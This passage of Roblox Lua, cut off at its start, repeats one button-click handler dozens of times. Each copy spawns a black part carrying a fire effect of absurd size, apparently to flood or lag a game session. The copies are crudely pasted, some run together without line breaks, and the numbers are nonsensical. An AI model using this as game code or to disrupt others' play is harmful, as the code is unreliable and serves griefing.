part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
